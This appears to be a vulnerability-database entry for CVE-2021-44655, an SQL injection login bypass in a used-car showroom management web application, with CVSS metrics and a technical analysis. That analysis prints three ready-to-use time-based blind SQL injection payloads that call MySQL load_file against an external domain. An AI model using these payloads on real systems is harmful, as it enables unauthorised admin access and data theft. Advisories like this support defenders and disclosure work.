Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
1

CVE-2021-44655

Disclosure Date: December 15, 2021 •
CVE-2021-44655 CVSS v3 Base Score: 9.8
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated
Validated
Validated

Description

Online Pre-owned/Used Car Showroom Management System 1.0 contains a SQL injection authentication bypass vulnerability. Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form allowing attacker to get admin access on the application.

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1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Gives privileged accessVulnerable in default configuration
Technical Analysis

CVE-2021-44655

Software

Vendor

Description:

The bid, c & id parameters from /used_car_showroom/ node app on Online-Pre-owned/Used Car Showroom Management 1.0 system appear to be vulnerable to Multiple time-based blind SQL injection attacks. The payload ‘+(select load_file(’\2z2p3k6kl8xuxf3ykb2dc84ocfi8600orrfi29qy.nu11secur1typenetrationtestingengineer.net\nxj’))+’ was submitted in the bid parameter. This payload injects a SQL sub-query that calls MySQL’s load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can take administrator account control on this system. Status: CRITICAL

[+] Payloads:

  • Multiple: bit, c & id
---
Parameter: bid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=product_per_brand&bid=7'+(select load_file('\\\\2z2p3k6kl8xuxf3ykb2dc84ocfi8600orrfi29qy.nu11secur1typenetrationtestingengineer.net\\nxj'))+'' AND (SELECT 3670 FROM (SELECT(SLEEP(5)))hxug) AND 'ovPl'='ovPl
---


---
Parameter: c (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=categories&c=2'+(select load_file('\\\\xyzk2f5fk3wpwa2tj618b33jbah35vvjmmadx4lt.nu11secur1typenetrationtestingengineers.net\\thk'))+'' AND (SELECT 4821 FROM (SELECT(SLEEP(3)))DuhP) AND 'vkhG'='vkhG
---


---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=view_product&id=3'+(select load_file('\\\\rc7eg9j9yxaja4gnx0f2pxhdp4vxj17sag13srh.nu11secur1typenetrationtestingengineers.net\\deo'))+'' AND (SELECT 8828 FROM (SELECT(SLEEP(3)))VaSc) AND 'gDVf'='gDVf
---

Reproduce:

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Proof and Exploit:

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CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Offensive Application
Unknown
Utility Class
Unknown
Ports
Unknown
OS
Unknown
Vulnerable Versions
n/a
Prerequisites
Unknown
Discovered By
Unknown
PoC Author
Unknown
Metasploit Module
Unknown
Reporter
Unknown

Vendors

  • online pre-owned/used car showroom management system project

Products

  • online pre-owned/used car showroom management system 1.0

Additional Info

Authenticated
Unknown
Exploitable
Unknown
Reliability
Unknown
Stability
Unknown
Available Mitigations
Unknown
Shelf Life
Unknown
Userbase/Installbase
Unknown
Patch Effectiveness
Unknown
Technical Analysis